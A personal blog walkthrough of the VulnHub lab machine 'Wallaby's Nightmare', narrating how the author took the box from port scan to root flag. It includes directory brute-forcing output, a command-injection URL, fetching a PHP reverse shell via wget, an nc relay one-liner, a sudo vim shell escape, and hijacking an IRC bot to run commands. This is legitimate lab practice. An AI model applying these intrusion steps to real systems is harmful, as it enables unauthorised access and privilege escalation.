cjc.im / posts / Wallabys Nightmare Walkthrough

So, I finally took the plunge and decided to attempt a machine from vulnhub, starting with the newest post, Wallaby's Nightmare.

Walkthrough

First was a cursory nmap scan of the machine, revealing port 80 open and 6667 filtered.

So, irc is there but I can't connect, and a webserver is open. Lets jump in and see what the webserver has to offer.

After entering my name I noticed a few attempts of some injection on the page variable led to the machine no longer listening on port 80, which at first I thought was it crashing, but it turns out was part of the design.

Another nmap scan showed that port 60080 was now being used. Sneaky!

Broke out dirb, to see if there was anything interesting on there to no avail.

Attempting a Local File Inclusion gave me:

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
syslog:x:104:108::/home/syslog:/bin/false 
_apt:x:105:65534::/nonexistent:/bin/false 
uuidd:x:107:111::/run/uuidd:/bin/false 
walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash 
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin 
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false 
steven?:x:1001:1001::/home/steven?:/bin/bash
ircd:x:1003:1003:,,,:/home/ircd:/bin/bash

walfin and steven? -- (See more on this later, brute forcing these users led to nothing)

Lets try another approach here, dirb on the page variable, we know of home and blacklist here. The blacklist was actually running from javascript to block someone, but I failed to do any SQLi on it...

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.101:60080/index.php?page= ----
+ http://192.168.56.101:60080/index.php?page=.git/HEAD (CODE:200|SIZE:896)                                                                            
+ http://192.168.56.101:60080/index.php?page=.svn/entries (CODE:200|SIZE:896)                                                                         
+ http://192.168.56.101:60080/index.php?page=_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:896)                                                          
+ http://192.168.56.101:60080/index.php?page=_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:896)                                                         
+ http://192.168.56.101:60080/index.php?page=_vti_bin/shtml.dll (CODE:200|SIZE:896)                                                                   
+ http://192.168.56.101:60080/index.php?page=cgi-bin/ (CODE:200|SIZE:896)                                                                             
+ http://192.168.56.101:60080/index.php?page=CVS/Entries (CODE:200|SIZE:896)                                                                          
+ http://192.168.56.101:60080/index.php?page=CVS/Repository (CODE:200|SIZE:896)                                                                       
+ http://192.168.56.101:60080/index.php?page=CVS/Root (CODE:200|SIZE:896)                                                                             
+ http://192.168.56.101:60080/index.php?page=home (CODE:200|SIZE:1143)                                                                                
+ http://192.168.56.101:60080/index.php?page=index (CODE:200|SIZE:1358)                                                                               
+ http://192.168.56.101:60080/index.php?page=mailer (CODE:200|SIZE:1081)

What's this mailer page? Lets take a look, and view the page source...

<!--a href='/?page=mailer&mail=mail wallaby "message goes here"'><button type='button'>Sendmail</button-->

This can't just be running commands, right? it is....

http://192.168.56.101:60080/?page=mailer&mail=ls%20-l

cat the index.php which gave us...

elseif (strpos($page, '/etc/passwd') !== false) {
    include 's13!34g$3FVA5e@ed/honeypot.php';
    }

haha so that was fake, nice

Ok, so now we can run some commands, and we know we have php, lets get a reverse shell going so we can run commands easier than through a php script. Using http://pentestmonkey.net/tools/web-shells/php-reverse-shell which we get across by running a local server and issuing a wget command via the mail parameter. From this we now have a shell as the www-data user that the webserver is running as.

Maybe I could proxy the ircd port and see what's there

nc -l -k -p 5678 < fifo | nc localhost 6667 > fifo

Not working, lets have a nosey around all the directories we can access as the www-data user

Noticed a .sudoasadmin_successful, interesting that a couple of users can both issue sudo commands, what can www-data user do? We find out by running sudo -l, we can run iptables, and a vim command to change some apache file. we clear the ip tables to allow us to access the irc server.

On the irc network there is an irc bot, sopel bot, which has a .run command to run commands on the server, however this can only be issued as the waldo irc user, which is online and in use, drat...

Looking back at the output from sudo -l, lets run vim as waldo

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Ok, in vim, as waldo we can run :!/bin/sh to gain a shell as waldo, run ps -a, get the process number for his irc client and kill it!

On irc, switch nick to waldo and now we can use the .run command, created a script in /tmp that runs in the context of wallaby, who, strangely can sudo all the things, game over.

sudo ls /root
sudo cat /root/flag.txt

done

Tags: infosec